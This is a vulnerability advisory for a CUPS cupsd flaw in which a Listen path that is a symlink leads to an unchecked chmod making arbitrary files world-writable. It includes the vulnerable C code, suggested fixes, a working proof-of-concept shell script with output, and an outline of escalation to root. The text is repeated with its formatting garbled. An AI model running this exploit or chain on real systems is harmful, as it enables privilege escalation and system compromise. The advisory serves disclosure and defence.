Summary
When starting the cupsd server with a Listen configuration item pointing to a symbolic link, the cupsd process can be caused to perform an arbitrary chmod of the provided argument, providing world-writable access to the target.
Details
This is an excerpt from a larger chain of vulnerabilities reported in Ubuntu 24.04. There is an assumption for exploitation that /etc/cups/cupsd.conf can be successfully edited (this has been omitted here as it is believed to be out of scope).
When setting up the bind for unix sockets configured in the Listen parameters of the configuration file, the code does not check for a successful call to unlink
and bind
prior to performing the call to chmod
. [1]
On Ubuntu 24.04, by setting the Listen argument to a path such as /tmp/stage/file
, where file
is a symlink elsewhere in the system, the previous call to unlink
for the path will fail due to AppArmor [2], and the subsequent call to bind
will also fail due to the file still existing. The return value of the call to bind
is not checked before the call to chmod
, so a successfully planted symbolic link which causes the bind
to fail will still be traversed by the call to chmod
and the file permissions changed to be world writable.
On systems where the Ubuntu AppArmor policy is not in place, this vulnerability still exists but as a race condition between the call to unlink
and the call to bind
. A sufficiently fast attacker could place a symbolic link at the configured location after the call to unlink
, causing the bind
to fail once again and performing a successful chmod
.
Suggested Fix
- Recursively open the configured paths using
openat
with O_NOFOLLOW
, followed by using fchmod
in place of chmod
. This will ensure that there are no unexpected symbolic links in the path.
- Check the return value of the
bind
call before performing the chmod
to ensure that the file is a socket. This is not perfect but can drastically narrow the race condition window.
[1]
|
unlink(addr->un.sun_path); |
|
|
|
// Save the current umask and set it to 0 so that all users can access |
|
// the domain socket... |
|
mask = umask(0); |
|
|
|
// Bind the domain socket... |
|
status = bind(fd, (struct sockaddr *)addr, (socklen_t)httpAddrLength(addr)); |
|
|
|
// Restore the umask and fix permissions... |
|
umask(mask); |
|
chmod(addr->un.sun_path, 0140777); |
[2]
https://git.launchpad.net/ubuntu/+source/apparmor/tree/profiles/apparmor.d/abstractions/user-tmp#n21
PoC
The following script can be used for exploitation, sudo is used to emulate the above mentioned Listen configuration access.
set -e
exploit() {
echo "Staging..."
mkdir -m 777 /tmp/stage
ln -s /etc/cups/cupsd.conf /tmp/stage/cupsd.conf
# emulate configuration access to cupsd.conf
echo 'Listen /tmp/stage/cupsd.conf' | sudo tee -a /etc/cups/cupsd.conf
echo
echo "Current permissions of cupsd.conf"
ls -l /etc/cups/cupsd.conf
tail -n1 /etc/cups/cupsd.conf || true
echo
echo "Restarting cupsd"
sudo systemctl restart cups
echo
echo "New permissions of cupsd.conf"
ls -l /etc/cups/cupsd.conf
tail -n1 /etc/cups/cupsd.conf || true
}
cleanup() {
sudo sed -i '/Listen \/tmp\/stage\/cupsd.conf/d' /etc/cups/cupsd.conf
sudo chmod 640 /etc/cups/cupsd.conf
rm -rf /tmp/stage
}
$@
Sample output can be seen below:
$ sh poc.sh exploit
Staging...
Listen /tmp/stage/cupsd.conf
Current permissions of cupsd.conf
-rw-r----- 1 root lp 4987 May 24 10:18 /etc/cups/cupsd.conf
tail: cannot open '/etc/cups/cupsd.conf' for reading: Permission denied
Restarting cupsd
New permissions of cupsd.conf
-rwxrwxrwx 1 root lp 4987 May 24 10:18 /etc/cups/cupsd.conf
Listen /tmp/stage/cupsd.conf
$ sh poc.sh cleanup
Impact
Given that cupsd is often running as root, this can result in the change of permission of any user or system files to be world writable.
Given the aforementioned Ubuntu AppArmor context, on such systems this vulnerability is limited to those files modifiable by the cupsd process. In that specific case it was found to be possible to turn the configuration of the Listen argument into full control over the cupsd.conf and cups-files.conf configuration files. By later setting the User and Group arguments in cups-files.conf, and printing with a printer configured by PPD with a FoomaticRIPCommandLine
argument, arbitrary user and group (not root) command execution could be achieved, which can further be used on Ubuntu systems to achieve full root command execution.
Summary
When starting the cupsd server with a Listen configuration item pointing to a symbolic link, the cupsd process can be caused to perform an arbitrary chmod of the provided argument, providing world-writable access to the target.
Details
This is an excerpt from a larger chain of vulnerabilities reported in Ubuntu 24.04. There is an assumption for exploitation that /etc/cups/cupsd.conf can be successfully edited (this has been omitted here as it is believed to be out of scope).
When setting up the bind for unix sockets configured in the Listen parameters of the configuration file, the code does not check for a successful call to
unlink
andbind
prior to performing the call tochmod
. [1]On Ubuntu 24.04, by setting the Listen argument to a path such as
/tmp/stage/file
, wherefile
is a symlink elsewhere in the system, the previous call tounlink
for the path will fail due to AppArmor [2], and the subsequent call tobind
will also fail due to the file still existing. The return value of the call tobind
is not checked before the call tochmod
, so a successfully planted symbolic link which causes thebind
to fail will still be traversed by the call tochmod
and the file permissions changed to be world writable.On systems where the Ubuntu AppArmor policy is not in place, this vulnerability still exists but as a race condition between the call to
unlink
and the call tobind
. A sufficiently fast attacker could place a symbolic link at the configured location after the call tounlink
, causing thebind
to fail once again and performing a successfulchmod
.Suggested Fix
openat
withO_NOFOLLOW
, followed by usingfchmod
in place ofchmod
. This will ensure that there are no unexpected symbolic links in the path.bind
call before performing thechmod
to ensure that the file is a socket. This is not perfect but can drastically narrow the race condition window.[1]
cups/cups/http-addr.c
Lines 229 to 240 in aba9170
[2] https://git.launchpad.net/ubuntu/+source/apparmor/tree/profiles/apparmor.d/abstractions/user-tmp#n21
PoC
The following script can be used for exploitation, sudo is used to emulate the above mentioned Listen configuration access.
Sample output can be seen below:
Impact
Given that cupsd is often running as root, this can result in the change of permission of any user or system files to be world writable.
Given the aforementioned Ubuntu AppArmor context, on such systems this vulnerability is limited to those files modifiable by the cupsd process. In that specific case it was found to be possible to turn the configuration of the Listen argument into full control over the cupsd.conf and cups-files.conf configuration files. By later setting the User and Group arguments in cups-files.conf, and printing with a printer configured by PPD with a
FoomaticRIPCommandLine
argument, arbitrary user and group (not root) command execution could be achieved, which can further be used on Ubuntu systems to achieve full root command execution.